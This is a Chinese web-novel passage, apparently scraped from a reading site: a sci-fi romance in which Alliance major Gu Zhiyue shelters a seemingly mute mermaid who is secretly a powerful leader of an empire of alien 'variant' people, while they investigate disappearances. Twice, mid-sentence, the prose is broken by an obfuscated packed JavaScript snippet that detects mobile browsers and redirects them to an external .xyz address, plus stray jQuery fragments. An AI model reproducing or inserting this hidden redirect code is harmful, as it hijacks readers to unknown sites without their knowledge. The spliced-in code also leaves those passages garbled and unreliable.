《花瓶小人鱼是星际bking》 1. 捡到一只小人鱼 他知道那东西在追他。 幼年的顾知越不敢回头也不敢出声，他憋着一口气一路跑过破败压抑的走廊，心跳极速加快，却也只敢死死压制住喘息。 但哪怕如此身后那窸窸窣窣的声音还在不断靠近，如影随形。 慢慢地，两边的走廊像是活过来的一般，窸窸窣窣的声音爬上墙面，从四面八方将逃跑者包围，就像一只巨大的怪物，张开血盆大口把人卷入口中，下一刻就要一口吞入！ 幽暗狭窄的走廊仿佛没有尽头，直到最后剧烈的喘息声再也止不住，顾知越拼了命地奔跑，但是跑不出去，他逃不出去——！ “哗啦——” 一道水声忽然出现，声音不大，轻盈而空灵，却能瞬间拍散梦魇，霎时天光大亮，一片清明。 顾知越猛然睁开了眼睛。 他在花亭的靠椅上醒来，稍稍一动，手中的调查报告随即滑落，散落一地。 估计是刚刚看文件的时候不小心睡着了。 每次出任务之后人员精神力都会很差，恐怕那些污染物也能影响情绪，看来有必要向联盟申请关注了。 顾知越揉了揉眉心，随后那阵水流声再次响起，他动作一顿，立刻循声而去。 走过蜿蜒的水上曲桥，远远看见临水而建的秋千轻轻晃动，像是有人刚刚离开。 水流声越发清晰，顾知越不自觉加快了脚步。 走到曲桥的尽头，一眼并没有看见人，顾知越蹲下身，轻声道：“小尘？” “哗啦。” 不远处的山石后传来动静，一只素白纤细的手抚上山石的边缘，紧接着一道白色的身影出现在山石后边，悄悄探身往这边看过来。 白发晶莹，眉眼绮丽，蔚蓝色的眼眸若世上最纯净清澈的海，同时海中又落了点点浮光，万般的璀璨动人。 眼角的一点蓝色鳞片并不显得突兀，反倒似珠光点妆，更衬得容颜惊艳，隐约能看见水下靛蓝色的尾巴轻轻摆动，如梦似幻—— 这是一只人鱼。 小人鱼似乎有些怕生，躲在山石后边小心翼翼地露出一点脑袋往这边看，而在看见顾知越后他的神情随即变得轻松，漂亮的尾巴一甩，立刻游到了对方身边。 没有人能拒绝那双蔚蓝清透的眼睛。 顾知越俯下身，这位人人口中的天之骄子此刻眼中温柔至极，伸出手细心地理了理对方的鬓角。 小人鱼明显很亲近他，主动偏头蹭了蹭他的手，眼角的那一丝鳞片似珠光明丽，顾知越心中微动，忽然有种传说化为现实的梦幻感。 人鱼是星际最神秘而美丽的种族。纯洁无瑕、温柔善良、姿容绝世、歌声曼妙……古书上用最完美的词汇形容他们，然而近百年来，没有人再寻到他们的踪迹，人们只能从一些过去的影像窥见一丝痕迹。 而现在，这份美丽的传说就在顾知越的眼前。 一开始内部人员得知顾知越在边缘星系考察任务后竟然会带回来个来历不明的“人”时，他们是疑惑且担忧的，他们想不明白这位年纪轻轻就威名远扬的少将怎么会如此草率行事。 而当众人得知对方带回来的竟然是一只人鱼的时候，所有的疑惑担忧全部都转化成了羡慕—— 那可是人鱼哎！他捡到了一只人鱼哎！ 基因公司斥资五十亿探寻无果，无数星际探险家、生物学家花费毕生不见真容，竟然就让顾知越这么捡！到！了！ 不懂就问，这位是上帝亲儿子吗？ 众人默默咽下羡慕嫉妒恨的泪水，随后无数专家权贵递出拜帖请求见一面那个传说中的人鱼。 然而无一例外被顾知越拒之门外。 有人不满，但没人真敢干什么，那可是顾知越，联盟最大家族的独子，星系有史以来最年轻的少将。 而且那只人鱼意外地也十分亲近顾知越，这下好了，于情于理都不可能从顾知越手上抢人了。 得，果然是上帝亲儿子。 小人鱼几乎符合古书上的所有记载，只是很可惜，他似乎不会说话，顾知越曾特意带他去治疗所全面检查了一遍，奈何并没有找到原因。 不过还好，虽不会言语，但小人鱼能够听懂，被捡到时他的手链上刻着一个“尘”字，唤他名字也会应答。 如纱似梦的尾巴在水下轻轻摆动，搅得这池水都仿佛染上了靛蓝的色彩，大概是甜点很合胃口，尾巴摇动的频率快了一点，毫不掩饰地表达着主人的心绪。 之前的报告随手放到了一旁，顾知越坐在池边安静看着对方吃甜点，没有觉得无聊或者浪费时间，甚至心中倍感欢喜。 “叮铃，来访通知。” 身后忽然传来电子语音的声音，悬浮屏幕自动亮起，显示有人到访。 小尘听见声音好奇抬起头来，顾知越扫了一眼信息，接着毫不犹豫，直接挥手驳回，随后摸了摸对方的头示意不用管。 可没安静几分钟，通讯器忽然又响起来，并且大有不接就绝不停止的气势。 在顾知越连着挂断八通电话后，终于是没办法，点击接通—— “顾知越！”怒气冲冲的声音从屏幕里传出来，对此顾知越早有预料，十分贴心地抢先捂住小尘的耳朵。 “我在你门口站了半个小时，喝了半个小时的冷风，打了八百通电话你全部秒挂？！良心呢？？” 面对这激烈的控诉，顾知越面色不改，慢条斯理道：“首先，我正在休假；其次，前两天的账我还没找你算。” 提到这个，对面的徐牧忽然心虚，不自觉咳嗽了一下，支支吾吾道：“我也不是故意的嘛……那帮人的话一套一套的，一个不注意就……” 要说捡到人鱼这件事，虽然严格意义上不算什么机密，但顾知越不想声张，联盟官方也就没有公布，消息本该只在联盟上层流传。 哪晓得徐牧这个同事兼便宜发小，前两天晚会的时候喝多了，一个不留神说漏了嘴被媒体套出话来。 这下好了，消息瞬间传遍整个星系，各种试探追问的言论纷纷砸过来，闹得顾知越直接申请休假并且全方面闭门谢客，特地带着小尘躲到这个隐蔽的私人别墅。 网上那些铺天盖地的言论自然对他不会造成什么实质性威胁，但是很烦，尤其是想到那些或善意或恶意的言论全部围绕着小尘。 发觉对方微微皱眉，小尘伸出手摸了摸顾知越的眉眼，随后歪了歪头，像是在询问。 顾知越面色一缓，轻轻一笑，低声说着无事。 “门口冷风随便喝，喝够了就回去，别打电话了，拉黑了。” “等等等，”猜到对方下一秒就要挂电话，徐牧赶忙道：“我这是有正事！” 顾知越不为所动：“我休假，你自己解决。” “等等！”话到这儿徐牧也不管什么机密不机密了，直接道：“这事和异种人有关！” 触及到这个词，顾知越的手一顿。 眼看电话没挂断，徐牧稍稍松了口气，压低声音道：“这事要论起来还挺严重的，只是上头有意压下来，知道的人不多，但我想你肯定感兴趣。” 顾知越稍稍垂眸，似乎在思索考量着什么，由于太过认真，他没发现耳边搅动的水流声不知何时停止，小尘的目光有意无意地落到悬浮屏幕上，清透的眼中光点微闪，似有轻纱浮动。 “考虑怎么样了？要不……先开个门？”在门口冻得手脚发凉的徐牧小心提议道。 顾知越的这个私人别墅建在远离城市的边缘地区，周边环境及其恶劣，而屋子内部通过中央系统控制得以舒适宜人，但可苦了找来的徐牧，在门口边吸氧边拍门。 顾知越没答话，只是微微抬手点了点悬浮屏幕，打开了门，随后俯下身温声道：“我离开一会儿，马上回来好不好？” 小尘对他亲近，不过平日里也并不算特别粘人，可谁知今天见对方要走却直接伸手拉住了人，紧紧盯着顾知越。 一看见那双眼睛顾知越立刻停止了动作，愣了一下道：“小尘想一起去吗？” 尾巴拍了拍水面。 顾知越没有任何犹豫，笑了笑道：“好，那我们一起走。” 说着十分熟练地弯腰把人从水中抱出来。 小尘很乖巧地环住对方，他身上穿着的特殊轻纱并不沾水，层层叠叠的纱雾包裹住清透的肌肤，下摆自然下坠随风轻晃，离开水源后没多久那条靛蓝色瑰丽的尾巴慢慢变成了白皙的双腿，同样被轻纱笼罩，小腿以下欲掩不掩。 似是被纱雾层层包裹的珍宝，朦胧之间窥见一二便可为之心动。 小尘很喜欢这样的怀抱，毫不避讳贴着对方的胸膛，顾知越能很清楚地感受到怀里的气息，人鱼的体温偏低，身上的轻纱又带着一股清凉的水汽，恍惚间宛如抱着一怀清泉，带着山谷花香。 即使这个动作已经做过很多次，可顾知越还是不动声色地深吸了一口气，下意识垂眸看向怀里人，刚好对上那双清透湛蓝的眼睛—— 如此，哪怕万般旖旎的心思也化作最单纯的偏爱，顾知越轻轻笑了笑，把人抱紧，信步而去。 ——— “哎？尘尘也过来了啊。” 在门口被冷风吹得手脚冰凉、面如菜色的徐牧看见顾知越怀里的人瞬间眼睛一亮，刚准备贴上去，奈何被自家发小的眼神逼退，稍稍评估了一下自己的战力，选择安分一点。 顾知越把怀里的人安安稳稳地放到会客厅的矮榻之上，接着才转身面对徐牧，一本正经道：“任务资料放下，你可以走了。” 徐牧：“……豆子还没磨完呢，这就卸磨杀驴是不是太快了？” 嘴上虽然在抱怨，不过还是把纸质的资料乖乖递了过去，联盟专派的任务算得上机密了，实物递交更为保险。 顾知越拿过资料，一边看一边随口道：“那你想再多磨会儿豆子也行。” 徐牧一怒之下怒了一下，果断忘掉不愉快，转而和小尘热情地打招呼去了。 快速翻阅了一下任务资料，顾知越的目光稍变—— 怪不得徐牧在这个节骨眼上还要来找他，这份任务属实是个吃力不讨好的。 简单来说这是一个关于星系连环失踪案的任务委派，而徐牧隶属于联盟的安全调查局，更是二组的组长，派发给他自然没问题，可坏就坏在，失踪的人员皆是异种。 异种人一般是指宇宙特殊生命，或者人类基因突变产生的变种人，他们大多并不属于联盟的公民，数量不算特别多，但其中不少都拥有不俗的战斗力。 有人认为异种是生命进化的象征，但更多人认为他们是彻底的异类。 事实证明不管文明如何发展，人类都无法做到真正的求同存异。 而异种人也知道在联盟无法得到正视，于是他们汇聚起来自发组建了一个名为“存护”的帝国。 存护帝国的民众数量自然比不过人类组成的联盟，但比起由各个国家联合委员会组织起来的联盟，存护帝国足够统一且特殊，联盟不得不重视。 这么多年来，两方算是相安无事，但也关系微妙，双方外交更是三头两天互相谴责，存护帝国指责联盟歧视异种，而联盟则是认为存护帝国护短又不讲理。 而现在任务要调查的就是接连多个异种人在联盟境内失踪的案子——这要是搞不好可是要变成外交事故的。 也不知道徐牧是不是最近得罪了什么人，竟然被丢了这么一个活儿，属实倒霉。 他第一时间找上顾知越，一方面是因为顾知越的权限更高，调查起来方便；另一方面则是因为作为发小，徐牧是为数不多知道顾知越多年来一直对异种十分感兴趣的人之一。 不幸中的万幸，徐牧算是找对人了，顾知越看着手上的资料微微皱眉，但并没有要拒绝的意思。 “这份任务联盟只指派给了你一个人吗？”顾知越浏览着内容，随口询问道。 徐牧叹了口气，无奈道：“实话和你说了吧，现在这个消息完全都是封锁的，外交部的人压根不知道，上头这是存心要压下去。” 顾知越侧目道：“这不是埋雷吗，上头还真敢啊。” “可不是嘛，”徐牧唉声叹气，“现在埋不住了直接把这个雷扔给我，他们真是有大病……哎？小尘？” 徐牧正在抱怨，忽然发现本来正自己玩的小尘靠到了顾知越的身边，大概是嫌无聊了想要人陪着。 眼见顾知越正忙着看资料，徐牧立刻找到理由毛遂自荐，积极地手舞足蹈道：“要找人一起玩吗？我来我来，到我这边来。” 然而小尘看了看蹦跶得正欢的徐牧和安静坐在一边的顾知越，没有多少犹豫，直接无视徐牧抓住了顾知越的手臂。 徐牧：“……” 见小尘过来，顾知越面色瞬间柔和起来，随即准备把资料放下。 谁知小尘并没有要缠着人玩的意思，抓着顾知越的手臂抬起来然后钻进了对方怀里，转了个舒服的姿势靠着，也一本正经地看着资料报告，似乎是要和人一起办公的样子。 颈侧贴着柔顺的白发，垂眸便可瞥见一片绮丽的色彩，顾知越稍稍愣了下，发觉对方的意图后失笑，任由着他的动作。 小尘大概是根本看不懂资料的内容，时不时歪歪头，眼中有些疑惑，但偏偏还要装作十分认真的模样。 顾知越眼中含笑，摸了摸小尘的头，看完资料后见对方还一本正经抓着纸张，仿佛意犹未尽，便任由小尘把那些纸张正过来倒过去地玩。 “失踪都发生在边境星球，人员也全部是身份普通的独行者，很明显对方不想把事情闹大，首先排除想挑拨星系关系的主战派。” 暂时由着小尘在塌上研究那些纸张，顾知越起身分析道。 徐牧点点头表示认同，猜测道：“会不会是歧视异种的极端种族人士，他们惹事还挺常见的。” 顾知越思索了一下，否定道：“不像，那群人自我认同感极高，从不屑于遮掩，而这几起案件基本都做到了滴水不漏，很明显作案者知道自己在犯罪，也知道后果严重。” 听到这儿徐牧不由自主眉头紧锁，思维清晰的理性罪犯，看起来也并不是为了所谓的理想信念，那到底是为什么要铤而走险做这种事？ 绑架异种后不敲诈不勒索，也不引起恐慌，那他们究竟要做什么？ “嫌疑人排查得怎么样了？” 徐牧叹了口气：“没线索，受害者的行动轨迹几乎没多少交集，而且你知道，边境星球不比联盟中心，那地方的安全系统还是上个世纪的老古董，收集信息有限。” 顾知越按照正常思路追问：“受害者入住的旅馆酒店查过了吗？” “能查的都查了，就差把所有当天入住的旅客全审问一遍了，没有任何关联，也没有任何问题。” 破解连环作案最有效的办法就是找到其中关联性，可惜目前看来并没有线索。 入住地点没有重合，行动轨迹也没什么交集，那些人到底是怎么选定受害者的？完全随机吗？ “啪嗒。” 正在顾知越认真构思案件经过的时候，一道轻微的声响吸引了他的注意，余光瞥见什么东西滑落到脚边，他下意识转头看去。 “嗯？纸飞机？” 徐牧也被声音吸引，看见飞落到脚边的东西顿了一下，再仔细一看发觉纸张的来处后顿时瞪大眼睛惊呼道：“？？谁把任务资料折成纸飞机了啊！” 这可是他的身家性命啊！但凡出了问题就等着联盟开会批斗到死吧！ 徐牧满腔怒火，一抬头精准锁定始作俑者—— 小尘身边那点资料已经全部变成了纸飞机，刚飞出去一个正准备飞第二个，此刻见徐牧望过来，偏头无辜地眨了眨眼睛。 和那双眼睛对视两秒后，徐牧脸色一变，原则直接丢掉，竖起拇指夸奖道：“折得好。” 得到肯定的夸奖小尘粲然一笑，随即又往徐牧的方向飞出去一个。 “再来一个，再来一个，往我这儿飞。” 难得小尘愿意理他，徐牧看起来很兴奋，顾知越无奈地笑了笑，顺手捡起落在自己脚边的纸飞机，刚准备收好，无意间瞥见露在纸飞机外侧的一行文字，动作一顿。 那边的小尘还在和徐牧玩闹，一个个纸飞机自他手中飞出，飞往屋子的任意一个角落，它们每一个都是独一无二，毫无交集，四散在这屋子之中，但……它们又都来自同一处。 “徐牧。” “嗯？”正和小尘玩得不亦乐乎的徐牧听见声音，抬头看过去。 顾知越展开那个纸飞机，垂眸看着内容询问道：“受害者乘坐的城市列车排查过了吗？” “列车？刚刚不是说过了嘛，他们的行动轨迹没多少交集，更没有乘坐过同一班车，并没有共同点。” “不，有共同点。” 顾知越拿起那张资料，上边记录的是其中一个受害者的乘车记录，“共同点不在于车次和轨迹，而是列车本身。” “它们隶属于同一个发车公司。” 受害者的行动轨迹错综复杂且毫无规律，但他们所乘坐的列车全部属于同一个公司，在边境星球掌管城市列车的公司一共就那几家，一个两个还能说是巧合，但全部受害者皆是如此，那就很难是单纯的巧合了。 徐牧愣了几秒，接着立刻翻出来几张资料，快速对比后惊喜道：“还真的！终于……” 有了线索就等于有了方向，徐牧心中狂喜，抬头看了看自家发小道：“多谢！” 紧接着果断转头欣喜道：“太好了，来小尘抱一个——” 然而刚迈出一步就被顾知越逮住丢开，小尘只觉得眼前一个黑影闪过，下一秒徐牧就被丢到了数米之外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029866|162298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “谢我就谢我，你往哪儿跑呢。”顾知越警告道。 徐牧一本正经道：“又不是只谢你，这波多亏了小尘啊，来抱一个——” 顾知越冷眼警告：“滚。” 小尘歪了歪头，似乎有些没听懂他们在说什么。 “好了好了，不闹了说正事，”眼看顾知越下一秒要拔枪警告了，徐牧赶紧收敛，“这趟调查你要跟着吗？我可以给你上报。” 顾知越对异种相关的事十分有兴趣，一般不会放过与之有关的任何事，然而这回他垂眸看了看身边的小尘，犹豫了一下道：“算了，我就不跟了。” 徐牧了然：“要陪小尘？一起走也不是不行啊。” “这儿清净。” 徐牧有点惋惜，但也没有继续坚持，和小尘挥了挥手刚准备道别，这时悬浮屏幕忽然亮起，显示有人到访。 徐牧愣了一下，迟疑道：“你还有客人？” 顾知越不自觉皱了皱眉，随后摇头否定。 而下一秒，更多到访提示音响起，叮咚叮咚叮咚，简直和乐谱演奏一样响个不停！ 徐牧大惊：“什么情况？中病毒了？？” 小尘有点不安，探身过去抓住顾知越的衣摆，躲到他身后小心观望。 顾知越稍稍安抚了一下小尘，不知是猜到了什么，脸色有点难看，随后为了验证猜想，他犹豫了一下，点开了门口的监控—— “顾少将？顾少将！请问你任务时遇见人鱼这件事属实吗？！” “少将您向联盟请了很长的假期，并且搬到这里，请问和人鱼有关吗？” “听说您将人鱼独自带到了家中，请问出于什么目的，人鱼现在是否就在这里？” “您拒绝一切学者专家的拜访，网上猜测您独占人鱼，请问这是否属于滥用职权？少将您能解释一下吗？？” “少将！顾少将——” 监控投影一出，噼里啪啦一片摄像的闪光灯闪过，花白一片，闪得人一整个头晕眼花，铺天盖地像流水一样的提问接踵而至，哐哐砸过来，记者们一个个拿着录音笔恨不得直接挤进监控！ 身后的小尘吓得直接闭眼躲到人身后，顾知越被闪光硬控两秒，接着立刻护着小尘关闭监控。 安静不到一秒，到访门铃又爆炸式地响了起来，顾知越眼疾手快挥手直接切断提示音，可还没完，下一刻手机电话铃声又从四面八方响了起来，恍惚间仿佛无数洪水猛兽在疯狂拍门—— “屏蔽所有信号！” 顾知越忍无可忍，一声令下，所有信号被强制掐断，屋子里瞬间安静下来。 鸦雀无声。 小尘有些被吓到了，顾知越赶忙坐过去抱住人小心拍了拍，随后目光移到不远处的徐牧身上，带着杀气。 徐牧愣了两秒，后知后觉地指了指自己：“我……我引来的？” 顾知越咬牙反问：“不然？” 徐牧被瞪得浑身一怔，大惊失色道：“我我我……那些记者是游击队出身吧？？这跟踪技巧逆天了啊？！安全局还培训什么人，直接到媒体那边去招人算了吧？！” 然而现在说这些都已经是徒劳，看着被彻底阻隔信号导致断网的总系统，顾知越深知这里是没法待了，深吸一口气，看着徐牧冷冷道：“我和你走。” 徐牧：“……” 听这语气，感觉更像是“我要你死”。 ——— 小雨淅沥，行人络绎。 即使正在下雨，夜晚的街道依旧繁华，缤纷的霓虹灯配合着雨水熠熠闪光，时而朦胧时而亮眼，行人撑着伞走过大街小巷，熙熙攘攘，潮湿的空气中满是笑语。 “你看你看，那位顾少将真的捡到人鱼了哎！” 女生兴奋地把手机递给同伴分享消息，脸上满是新奇：“真的是人鱼哎，一定特别漂亮可爱吧。” 同伴瞥了一眼，随口道：“不一定吧，到现在也没一张清晰的图，兴许是媒体的炒作呢？” “怎么可能拿莫须有的事炒作到顾家头上，那肯定就是人鱼，赌不赌？” 同伴看她坚持调笑道：“这么喜欢？那你去和顾知越抢人去？” 两人围绕着那神秘的人鱼滔滔不绝展开话题，声音越来越高，而就在她们嬉闹之时，身后忽然有一道声音插入了她们的谈话—— “就算是人鱼又怎么样，也没什么好稀奇的吧。” 是一道男声，带着一丝细微的笑意，即使刻意压低了声音但仍旧清越如玉石相击，隔着这雨幕，又多添一丝悠远。 那两人听见声音一愣，下意识偱声看去，只见身后有一个孤单的独行者，那人并未撑伞，帽子遮住大半面容，与两人很礼貌地保持着安全距离。 两人打量了陌生人片刻，或许是对方的声音比较悦耳友好，并且话题不涉及隐私，其中一个女生接下了他的话，强调道：“什么叫不稀奇，那可是人鱼哎！最稀有、神秘又漂亮的种族啊！” 那人似乎轻笑了一声，继续道：“可……人鱼不也是异种嘛。” 此话一出，两人动作皆一顿。 说的没错，人鱼也是异种，而“异种”这个词多少就有点敏感了。 其中一个女生纠结了片刻，最后一鼓作气道：“异种就异种吧，也没什么。” “哦？”那人追问：“你愿意和异种和平共处？” 女生微微皱眉，小声嘀咕道：“我们和异种……本来也没什么大矛盾吧？没有吧，我记得没有，而且他们和我们本来就很像啊，为什么不能和平共处……” 听到这儿，那人的脚步似乎稍稍顿了一下。 一些根深蒂固的思想和刻板印象正在脑子里和理性打得不可开交，女生拍了拍脑袋抛掉那些乱七八糟的想法，刚准备和那人继续交谈，然而一回头只看见一片雨幕和闪烁的霓虹灯，再无那人身影。 ——— “嘀嗒、嘀嗒。” 幽静的小巷中只闻水滴声，热闹的人群和街道皆被阻隔在围墙之外，四周安静昏暗。 不久后，一阵沉稳的脚步声打破了寂静，来者观察了一下周围，接着慢慢走向角落的电话亭。 如今的社会，这种电话亭几乎绝迹，也只有在未完全开发的老街区还仅存几个。 那人打开爬满锈迹的门框，走入电话亭内。 雨水被阻隔，那人放下遮挡的帽子，柔顺的白发哪怕在这昏暗的灯光下都十分绮丽，一双血红的眸子摄人心魂，危险又美丽—— 正是本该在顾知越家中的小尘，又或者应该称呼他洛尘。 明明是一样的容貌，但不同于白日里的纯净美好，血色的瞳孔多添几分清冷与危险的气息。 投入硬币，洛尘拨通一个号码，电话没响多久就被人接通。 “喂？哪位？这大半夜的来吵我，希望你是真的有事。” 电话中传来的声音有几分失真，不过还是能听出对方的慵懒和那种上位者的威势。 洛尘没有多言，开门见山道：“把近两个月去了L星系边缘星球的民众调查一下，看看有多少人失联，立刻安排剩余人返航，确保他们的安全，暂时关闭民间的星系来往，让外交部准备好和联盟算账。” 话音落，电话里那人似乎愣了一下，接着是一阵慌乱的摩擦声，大概是手忙脚乱地从什么地方起身，深吸一口气，万分小心谨慎道：“老、老师……” 洛尘挑眉：“喊我干嘛，刚刚的指令没听清吗？” “没没！听清了！您放心，我立刻安排！” 那人第一时间选择执行指令，不敢有一丝懈怠，语气十二分的尊敬顺从，甚至还透露出一点紧张。 洛尘继续道：“重点调查编号2713和1036两个星球，最好派人手避开联盟，暗中潜入。” “是，明白！” 基础指令已经传达，洛尘算算时间，最后道：“把这事处理好，之后我不会和你常联系，自己安排，要是最后出问题了，那等我回去……你就再体验一下当年的训练生活吧。” 洛尘的语气轻飘飘的，但落到那人耳朵里却如雷击，暗暗深呼吸了几次，那人高声道：“明白！” 眼看通话就要结束，缄默再三后，那人还是尽力压下心跳，小心翼翼问道：“那个……老师，您最近在做什么？在联盟那边吗？” 做什么？ 洛尘抬眼，这个位置目光刚好可以越过巷子的围墙，看见不远处广场上的巨大悬浮屏幕，此刻屏幕上播放的正是有关顾知越的报道资料。 视频里那位年纪轻轻的少将坐在会议上，在一众联盟高层之中依旧气质斐然，不同于在家中面对“小尘”时的温和宠溺，在外人面前的顾知越清冷自持，不怒自威。 洛尘眼底不自觉浮现出笑意，看着远处屏幕上的人，开口缓缓道：“在度假。” 2. 航行 今日早晨联盟最大的娱乐版块上传了一份短视频，拍摄的地点是首都南边星际摆渡场附近。 视频清晰度明显是后期修复过的，画面没有那么高清，看得出来拍摄角度很刁钻，并且视频只出现了不到三分钟就被全网下架，可惜网友的传播速度堪比蝗虫。 网站下架就做动图发到评论区，下架多少发多少，下架速度太快就私发共享，再不行就转链接、转网站、转代码，属实上有政策下有对策。 不过实际上那个视频倒也没有太多内容，视频里是顾知越和几个同事到了摆渡场门口下车准备进入，联盟的非作战任务一般都会安排星际摆渡，他们一行人出现在这里本身并不稀奇，然而问题就出在最后一个下车的人身上—— 那个只在视频里露出了0.5s，甚至大半的身影都被顾知越遮挡住的人，只凭一眼回眸瞬间登顶当日热搜，网友纷纷涌入，讨论度节节攀升！ “那是人鱼吧？？那一定就是小人鱼吧？！他的眼睛是蓝色的！蓝色的！！” “而且是白发！超级漂亮的白发啊！” “真的是人鱼吗？其实也不能断定吧？” “谁有高清的图啊？我找到的一直都有点模糊啊，求图求图。” “没人好奇顾知越大清早去干嘛吗？” “顾知越挡在那儿干嘛啊啊！挪开！挪开啊！” ……… 万千评论，有惊呼有质疑有发疯有求问，主打一个混乱，小道消息满天飞，八卦舆论遍地跑，一众帖子混战到最后，一个匿名发出分析贴最终摘得热度桂冠，也几乎实锤了人鱼的身份—— “大家我来分析一下，顾知越身边那个人我认出来了，是联盟安全调查局二组的组长徐牧，徐家和顾家算是世交，这个节骨点顾知越出远门肯定是被徐牧拉着一起出任务，刚好另外的几个人也和二组的队员对上了，但是！唯独那个被顾知越全程和护宝贝似得护着的人，绝对不是二组的队员，也不是联盟的专员，再结合之前种种的消息，真相已经很明显了。” “我敲，这是炸出来联盟的内部人员吧，有没有其他内部消息来分享分享嘛。” “求求有没有其他照片！我已经盯着那眼睛看了十几遍了，感觉心灵都受到了净化——” “独家揭秘！听说小人鱼尾巴是靛蓝色的，特别漂亮！” “尾巴？我看照片那人是走路的吧？” “一看楼上就没好好看过人鱼资料，离开水人鱼的尾巴是可以变成双腿的，只是不能脱水太久。” “尾巴！靛蓝色的！伟大！怎么会有这么伟大完美的小人鱼！这是世界的瑰宝！” “伟大——！” 网上一片群魔乱舞，仅凭一份模糊的回眸视频就获得如此热度属实罕见，视频是早上七点上传的，三分钟就下架了，消息是七点半疯传的，网友是八点上班后准时开始狂欢的，粉丝是九点全部就位的。 不过就在网上一片惊天地泣鬼神地感慨传说中的人鱼时，总有那么几个不和事宜的—— “非我族者，其心必异，人鱼也是异种，很可疑。” 字是刚打出来的，评论是三十秒后被删的，号是一分钟后被举报禁言的。 刚刚组建的粉丝们斗志昂扬，新官上任三把火，很快热火朝天地统一了信仰口号—— 鱼门——！ ——— 与此同时，星系飞船上。 刚刚收获大批“鱼门”粉丝的洛尘正在飞船水池里，眨着眼睛看向面前的队员。 顾知越正在和徐牧商讨达到边境星球的后续事宜，而一同出行队员们则纷纷聚到了洛尘附近，介于顾知越的淫威他们不敢靠太近，于是聚在不远处围成一圈手舞足蹈地尝试吸引注意。 “小尘小尘，看我看我，你要不要这个玩偶？或者零食？或者手机？或者这个工牌？或者这个量子转换器？” 洛尘看着那一群人满眼亮晶晶的，甩甩尾巴游到水池边，趴在岸边歪歪了头，像是有点疑惑。 “天啊！太可爱了！他在歪头哎！” “快把东西给他啊！” “给哪一个？” “还管哪一个，全给啊！” 水池边吵吵嚷嚷的，顾知越忍不住瞥了一眼，暂时没说什么，继续听着徐牧的汇报，然而却又难以控制地接收到水池边的谈话声。 徐牧：“第一站是1036星球，那里一共发生过三起失踪案，目前怀疑的耐塔发车公司的总部就在那儿……” 不远处的队员：“眼睛真的好漂亮！以后联盟的调查任务我全接了，求求能不能也让我捡到一只。” 徐牧：“已经向联盟申请了调查权限，托你的福，拿到了一级权限，行动应该会方便很多……” 不远处的队员：“能不能摸一摸头？求求让我摸一下吧，就一下！小尘同意你就点点头好不好？” 徐牧：“依照目前的速度，大概三个小时后就能到达1036，下飞船后我们首先是去案发现场还是直接去耐塔公司？” 不远处的队员：“他点头了吧！刚刚点头了！可以摸对不对？！” “我先摸我先摸——” “刺啦”一声，椅子被拉开的声音稍稍有点突兀，徐牧一顿，茫然地看着面前的人忽然起身，偱着对方的视线看向不远处的闹腾的队员，后知后觉道：“我……让他们小点声？” 顾知越并没有回话，稍稍站定了一会儿径直往水池边走去。 正在争抢摸头名额的队员忽然感受到一股寒气，顿时身形一僵，转身看见面色清冷的顾少将走来，全员呆愣两秒，接着立刻识趣地让出一条道。 走到水边的时候洛尘正低头聚精会神玩着手上的工作牌，不过他大概不知道这具体是什么东西，敲敲打打了半天，最后甚至准备上口咬。 顾知越赶在对方咬到之前，眼疾手快拦住。 洛尘像是才发现有人靠近，在他抬头望过来的那一瞬间顾知越的气息立刻变得温和起来，迎着对方的目光有些无奈且纵容道：“这个不能咬，下次不要了。” 洛尘乖巧地点点头。 顾知越笑了笑，俯身靠近，张开双臂轻声道：“来。”接着轻车熟路地把人从水里抱了出来，转身离开。 众队员眼睁睁看着顾知越把大家好不容易见到的宝贝人鱼抱走，敢怒不敢言，只能默默咬手绢心中控诉。 顾知越抱着洛尘返回到了徐牧这边，随后直接坐下，摸了摸怀里人的头，确认对方和自己在一起心情很好后，开口向还在发愣的徐牧道：“继续汇报吧。” 徐牧：“……” 这会儿他算是知道顾知越什么意思了，这是片刻都不肯别人霸占了去，真是宝贝得紧。 稍稍对自家发小无语三秒，徐牧真诚提问：“汇报完了我也能抱一会儿吗？” 顾知越面色不改，平静道：“滚。” 徐牧：“哎，好嘞。” 情况汇报继续，只是谁也没注意到，正靠着顾知越自己玩魔方的洛尘微不可查地勾了勾唇角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029867|162298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，湛蓝色的眼中似有一丝红线闪过，顷刻便不见。 ——— “尘尘，尘尘，你是想要这个草莓小蛋糕还是这个巧克力小蛋糕？” 争夺到投喂名额的调查科队员唐彦羽满心欢喜地端着餐盘来到水池边。 还有不到两个小时他们就将抵达目的地，顾知越需要带队下发任务顺便让队员熟悉星球和任务流程，这个过程有点无聊，而且他也不想让洛尘脱水太久，于是只好把人单独放回了水池。 洛尘看了看餐盘上的两种点心，没有选择，而是向对方直接伸出手——全都要。 “啊？都要吗？”唐彦羽愣了愣，有些迟疑道：“可顾少将说零食只能选一个，要不然马上午饭……” 唐彦羽本来还有点难为，想尝试劝说，可眼看着洛尘因为他的话眼神慢慢变得失落，尾巴都拉拢下去，顿时心中一紧，脑海里的小人立刻把原则一把锤飞！ 给！孩子饿了凭什么不给他吃！什么顾少将？哪里有顾少将？我不认识顾少将！ “能吃！都给你，那边还有蓝莓和香草口味的，我都拿过来！” 